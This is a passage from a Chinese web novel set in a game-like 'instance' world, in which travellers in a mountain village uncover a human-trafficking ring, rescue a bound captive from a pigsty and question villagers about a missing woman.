有人在偷听他们说话。
“我相信我没有听错,佘家兄弟的家里应该藏着什么东西。”林临想了想,觉得有必要走一趟,“也许我们真的应该去看看。”
佘李村靠山吃山,夏末秋初时分,正是能够上山捕猎最后时间,等到入了秋,禁猎令一下,就不能再上山打猎了。因而佘家兄弟这几天的下午都会上山打猎,可谓风雨无阻。
于是林临二人商量好,等隔壁有了动静,她们就去看看院子窝棚里到底有什么。
过了会儿,约莫一两点的时候,林临听到隔壁传来摩托车发动机的声音,接着是佘文的声音,“你栓好没有?”
还有佘武的声音,听着很抖擞,“放心吧哥,这东西我肯定栓好,跑不了她。”
摩托车声音越来越大,逐渐大过两人说话的音量,两人也许又说了些什么,但林临没有听到,直到摩托车发动机的声音完全消失了,她才拍拍何瑜的肩膀,“走吧。”
村里没有锁门的习惯,林临过去的时候,佘家兄弟的门都是虚掩着,只伸手一推就推开了,这院子虽然是两兄弟在住,但收拾地井井有条,干干净净。
一走进去,那微弱的“咚咚”声就又出现了。
佘家兄弟搭建的窝棚不高,加上以前是养猪的,走进去还有一股遗留下来的骚臭味儿,里面光线不好,两人举着手机照明,才勉强能看清里面整整齐齐码着四五个猪圈,猪圈墙壁都是用砖头拌的水泥,很牢固。
林临站在门口,弯腰看猪圈里面,贴着墙壁的猪食槽被洗刷的很干净,许久没猪用了,上面落满了灰尘或者杂草,门口角落堆放着没吃完的猪草和饲料袋,零零散散的还有不少。
越往里走,那股骚臭味儿越明显,最后竟然直冲脑门,熏得林临不得不抬起手捂住口鼻。
这样的气味显然不能用猪圈遗留来解释,她捂着鼻子,招呼何瑜继续沿着猪圈中间垒砌的小道,继续向前走。
“呜呜……”
林临站住,并用眼神示意何瑜停下,没有多余声音后,那呜呜的声音愈发清晰。
“呜……”
是人?!
这念头冒出来的一刹那,林临觉得自己兴许是疯了,这样的环境怎么能住人呢。
她快走两步上前去,接着看到自己毕生难忘的场景——
一个穿着碎花衬衫的女生,被捆的结结实实,如同猪仔一样拴在猪圈门栓上,嘴上还贴着胶带,披头散发,狼狈不堪。
她的下身已经被液体濡湿了,被洇湿的长裙深深浅浅的,散发着难闻的味道,身侧堆积着许多排泄物,林临知道,这些就是骚臭味的来源。
顾不上其他,林临脱下外套,搭在女孩的肩上,接着揭开对方的胶带。
“你是谁,你怎么在这里?”
女孩的眼前一片模糊,泪水夺眶而出!
她认得这个女生,下车的时候,她们打过一个照面,只不过没有说过话,“我们,我们是一个旅行社的。”
林临扳住女孩的肩膀,终于在她肿的不成样子的脸上看到一丝熟悉的模样,这才终于反应过来对方是谁,“你们不是去找别的地方住了吗?你男朋友呢?”
提到这个,女孩的情绪再也压抑不住,趴在林临的怀里痛哭起来。
林临知道,现在让她保持冷静简直比登天还难,便不顾对方身上的脏污,将对方搂紧怀里,有一下没一下地安慰着,“你先哭,哭好了告诉我们,你男朋友呢,你为什么在这里?”
女孩手腕处两道青紫色淤痕,身上暴露在外面的皮肤上,擦伤大小有十几处,脚腕高高肿着,显然是逃跑过程中崴了脚。
她只是哭了几声,便立刻止住了,“我们跟导游吵架之后,就往佘李村外边走,想去找大巴车司机,但根本没找到大巴车司机,所以我们又回来,在村口的时候碰到了一个人,那个人看到我们两个,就上来跟我们搭话,他比较机灵,看到有其他人围上来觉得不对劲,拉上我就往外面大路上跑,但是……”
“但是他
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们有枪,我听到砰的一声,腿都软了,还是我男朋友拉着我,一路跑到大路上去,我们想着也许是遇到黑导游了,和村里的人勾结起来骗我们钱,我们不旅游了,我们就想回去。”
女孩停顿了一下,眼瞳闪动着,泪水如珠串般滚落,身体开始不自然地颤抖,似乎回忆起了最不愿记起的噩梦。
“我们在大路上上了车,一开始那人还好好的,后面接了个电话,他就上了小路,接着,村口那几个人来了,他们手里有枪!真的有枪!”
山里的土猎户,有几杆土猎枪是正常的,林临拍拍她的后背,好让她别那么害怕。
“他拽着我的头发让我下车,然后有人把我男朋友带走了。然后我听到那个人说,‘a货,能买个好价钱。’还有人在旁边附和,说什么干完村里这一票就不干了,换了钱娶婆娘之类的话,我就知道完了,遇到人贩子了。”
林临问,“你还能站起来吗?”
“能。”女孩点点头。
“我扶着你,我们先出去,你先到我们房间里避一避。”林临说着,手上用力将女孩扶起,全然不顾女孩身上的血污,“你到了房间之后,去洗个澡,我衣橱里有换洗的衣服,你先换上。”
安排完这一切后,林临深一脚浅一脚地将女孩扶出来,就在这时,林临停住了动作,顺势躲进角落的饲料袋后,两个女孩身形纤瘦,略一侧身便能钻进去,何瑜费了些功夫,钻进去后还将饲料袋恢复原位,三人再不做声。
门外,突然出现了清晰的摩托车轰鸣。
“没了导游,谁去跟他们要钱?”佘武的声音影影绰绰地传来。
“你怎么满脑子都是这点小钱?”
佘武赔笑:“这不是能多赚一点是一点嘛,那男的说拿钱回来赎人,到现在还没回来,这女的放在窝棚里还是太不安全了,我看,还是别管那男的了,早点把女的转移出去。”
佘文道,“这女的长得不错,身材也好,能卖不少钱,你甘心和那些人平分?要我说,既然大家看着她跑了,那就是跑了,到时候咱兄弟俩转手一卖,卖个好价钱,远走高飞,谁还管那个狗屁佘万里。”
佘武:“佘万里那个狗东西,吃了这么多好的,也该吐点肉给大伙分分了,要我说,一不做二不休,干脆……”
“你傻啊,你知不知道杀人是犯法的!”
摩托车轰鸣声逐渐冷却,两人的声音却越来越近,听着,像是朝窝棚这边来了。
林临不由得紧张起来,屏住呼吸。
已经知道这些人是亡命之徒,那被发现的结果也显而易见了,她没敢有动作,怕这些杂草被小动作抖落,引起佘家兄弟的注意,但能清晰地感受到压在自己背上的何瑜胸口的起伏。
为了尽可能缩小三人的体积,林临怀里抱着那女孩,背后靠着何瑜,而何瑜也在尽可能压缩着两人之间的空隙,微微低头,将下巴放在林临的颈窝处,他放缓呼吸。
两人的脚步从眼前掠过,佘家兄弟的声音就在头上炸响,“人呢?!”
17.狼群环伺
“我哪知道啊哥,我走的时候人明明还在这里,怎么现在就没了。”
“啪!”
一个清脆的耳光,接着是佘文的声音,如同炸雷,“你个废物!什么都做不好,不知道要你有什么用!现在赶紧给我出去找!如果被佘万里的人看到了,咱们有好果子吃!”
话音落下,佘武身影极快地在三人面前掠过,又过了片刻,佘文也出去了。
确认两人都走了,三人这才松口气,依次从码放整齐的饲料袋子间隙里钻出来,林临没注意,钻出来时还碰了一鼻子灰。
“对了。”女孩飞快地说,“旅行团的大巴车没走。”
林临掏出纸和笔,“把具体方位标注出来,我们下午就去找。”
两人按照指示走到村口,却见有人守着,看来是防止旅行团的人逃跑。
·
佘李村虽然是个村子,但近年来发展的不错,村里早就通了车,但都是些土路,只能通些小车,一旦有什么大巴车,或者大货车,那路上必定一个坑接着一个坑,这很影响村里的产业建设。
好在这几年陆续有人返乡建设,给提供了不少资金,村委一合计,就想着把以前外面的土路全部翻修,说干就干,于是浩浩荡荡开始修路,终于在今年把村里所有的大路都给修成了柏油马路。
这些大路修了,才能轮得到村里的小路。
村里的小路不比外面的大路,能说动工就动工,这村里的弯弯绕可不少,一修路就牵扯到谁家多了几块地,谁家又少了几块地,因此村里还没个定数,只能让大家先铺上砖路,凑合着过。
好在村里没有那么多车,两只脚又能踩出什么坑呢,大家想着不再折腾,就这样定了下来。村里人已经走惯了这样的路,这些外来的游客可走不管,张雯已经跟了王峰一路了,走的双腿直哆嗦,腿肚子打转。
这王峰倒是像个没事儿人,一路走着一路问,不过他状态不太对劲,像是有些疯魔了一般,逢人就问见没见过自己的女朋友,找了整个村子。
“他就这么问了一下午?”张雯指着站在街道上的王峰,有些不忍地看向孙畅,“虽然副本里死人是正常的,但……”
毕竟推己及人,她和孙畅的关系不错,加上马上就要订婚,看到这一幕,自然不忍心。就在张雯要上去阻拦的时候,孙畅拉住了她,轻轻摇了摇头,“副本里能顾好自己就已经很不错了,不要多管闲事。”
“这怎么能叫多管闲事呢?”张雯握住孙畅的手,“如果是我丢了,你会这样找我吗?”“你又在说傻话了,我怎么可能丢下你。”孙畅眼神晦暗片刻,这才低声道,“你没发现,不止我们两个在跟着王峰吗?”
“多的是人想借着疯了的王峰探查线索,你非要上去坏了别人的好事吗?”孙畅声音压得极低,低到张雯几乎听不清。
仰起头看向孙畅,见他的眼神中满是算计,张雯不由得心头一颤,但转而释然,孙畅说得对,副本世界这么多可怜人,一个一个可怜过去,迟早把自己害死。现在有人帮他们探查线索,他们应该把王峰的价值利用到极致,而不是阻止他。
想到这里,张雯看向王峰的视线里,再也不见那一丝怜悯,取而代之的是平静。
王峰还在漫无目的地抓人,抓住人便问,问得村民对他避之不及,就在张雯以为今天下午注定没有收获之时,有人拦住了王峰。
是一个平头青年,上身穿着现下最时髦的铆钉皮衣马甲,漏出两条文龙画虎的胳膊,不过他长得颇为瘦小,这两条胳膊跟了他,恐怕吃了不少嘲笑。
手抄着口袋,他仔细想着刚才那女孩的话,如果他没记错的话,这女孩前几年就离开了佘李村,怎么现在又回来了。
叫什么来着,李会养?
记忆太模糊,平头皱着眉头想了好大一会儿,才晃晃脑袋停止思考,这女孩平时在村里就没什么存在感,上次也不知道走了什么运气,被一对夫妻领养走,倒是去城里过上了好日子。
这次回来又是要干什么。
来不及想那么多,拿钱办事儿,她说要自己给王峰指条明路,那就是得办,于是就这么大喇喇地站在王峰面前,伸出手轻轻拍着王峰的肩膀,“你找婆娘啊。”
“婆娘?”王峰呆愣了一下,似乎没反应过来婆娘是什么意思,接着猛地抓住平头的手,使劲儿摇晃着,“对!对,我找婆娘,你见没见过一个女生,大概到我鼻尖,然后长这样……”
他一面在口袋里翻找着照片,一面紧紧握住平头的手不松开,生怕叫这个送上门的人跑掉,“你看看,你看看你认不认得。”
照片在平头眼前一闪而过,照片里,女生笑得双眸如月牙般弯弯的,长得恬淡可人,算不上漂亮,但看起来却让人十分舒服。
“这个人……”平头摸着下巴,拖长音调,“我见过倒是见过,但是也记不清楚到底在哪里见过了。”
王峰闻言,倒是很识趣地掏出两张钞票,“这些钱给你,你可以告诉我了吧?”
接过钞票,平头的笑容不减,他叉着腰转了一圈,一双滴溜溜的小眼睛转了又转,这才在王峰殷切的眼神中开口,“你去问问佘万里,这一带只要丢了婆娘,找他准行,但是有一点,别说是我说的,听见没有?”
“喏,那边就是佘万里家,你去问问就知道了。”
顺着平头手指的方向,王峰看见一处与别的房子迥然不同的建筑物。
道路两旁的房子几乎都是砖砌的两层小楼,一楼用作农家乐,里面用作民宿,一栋房子两个用处,装修的也大多相似,是普通民宿的统一风格。
而平头指向的却不一样,那里矗立着一栋漂亮的、红砖蓝瓦的乡村小院。
“这十里八乡没婆娘,都要去找佘万里,你去找他问问,说不定就知道你婆娘去哪了?”平头促狭地挤挤眼睛,“就是没找到你婆娘去哪了,大不了叫佘万里赔你一个就是了,你说是不是。”
王峰没生气,他看着那栋小院,有些出神。
张雯不过一个愣神,王峰就没了踪影。
“可能是去找什么佘万里了,咱们还跟着他吗?”
张雯摆摆手,“咱们先不去了,就近打听打听,看看有没有什么线索。”算是对孙畅的回答。
孙畅认可。
他和张雯结伴下了三四个副本,每次张雯都能抽丝剥茧,找到副本中最为重要的一环,然后带他逃出副本,这样的嗅觉和敏锐程度绝对不是一般人,他一
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开始还试探过,想知道张雯现实世界是做什么的,后来张雯告诉他,她是警察。
也许是职业带来的天然滤镜,孙畅对张雯的信任更上一个台阶,几乎达到了言听计从的程度。
现在张雯说去四周打听打听,孙畅便立刻照做。
但不走运的是,佘李村的人对他们这些外来的游客很排斥,大多都是说从没有见过小宁,但从他们的神情来看,这些人见过小宁,说不定还知道她到底去了哪里。
他们为什么明明知道,却不说呢。
“游客失踪对当地的旅游业确实会有影响,就是因为这样,才更应该帮我们找到人。”张雯反复揉搓着双手,直到掌心温热起来,这是她惯用的让自己冷静下来的方法,“他们为什么这么害怕和我们沟通。”
孙畅尝试着发挥自己的作用,“我看跟王峰搭话那个平头还挺好说话,不然我去找他问问?”
说着,他从口袋里抽出两张百元大钞,在张雯面前晃了晃,“有钱能使鬼推磨。”
这话说的不错。
佘李村就这么大块地儿,那平头还张扬,张雯很快找到了在街上招摇的平头,不过这时的他并不是一个人,身边簇拥着一群孩子,正蹦跳着想从平头的手里抢糖吃。
王峰给的钱已经被平头花了。
张雯没含糊,上去拍了拍平头的肩膀。
那平头突然被拍了拍肩膀,扭过头时面色不虞,但在看到孙畅抽出两张百元大钞后,顿时喜笑颜开,伸手想拿走这些钱,奈何张雯眼疾手快,抓住两张纸币塞进自己的口袋,“这钱可不是白拿的。”
“好说好说。”平头稍霁的脸色再度转阴,伸出双手用力挥舞着,如同赶鸡一般将身边簇拥着的小孩赶走,这才偏过头说,“你们想知道什么?”
看着蹦跳着远去的孩子,张雯捏捏孙畅的手腕,给他使了个眼色。
孙畅心领神会,他在这里问平头,张雯追上去问那些孩子。
掂量着手里的糖块,张雯快走几步,喊住那些孩子,“小孩,别走,姐姐这里有糖吃。”
孩子们果然围拢过来,吵着要吃糖,张雯笑笑,将糖块摆在手心,叫这些孩子们一个一个挑选,待到孩子们尝到甜头,又将糖收回口袋,弯着腰问,“小孩,你们知见没见过一个姐姐,不怎么高,大概到我这里。”
张雯比了一下小宁的身高,详细描述了她的相貌,有个孩子跳起来,尖声道,“我知道谁见过。”
张雯掏出一枚糖块递给他,“谁见过?”
“他!”小孩伸出手指,指着站在自己旁边的一个孩子,那被指到的孩子发现有人指着自己,顿时一激灵,大喊道,“我没见过,你撒谎!”
“你才撒谎!你不是说中午你家来了个新婆娘吗?你还给我们分糖吃来着,怎么现在不认了!”那孩子想吃糖,便更大声地叫嚷着,“这村里谁家丢了女人不去你家找,你才撒谎,你才是骗人精!”
这孩子眼见被指到的那个孩子不承认,竟伸出手狠狠推了那不承认的孩子一把,那孩子一个趔趄摔在地上,顿时血流如注!
童言无忌,内容却让张雯心头一阵震悚。
什么叫丢了女人去他家找,难道这村上有人贩子?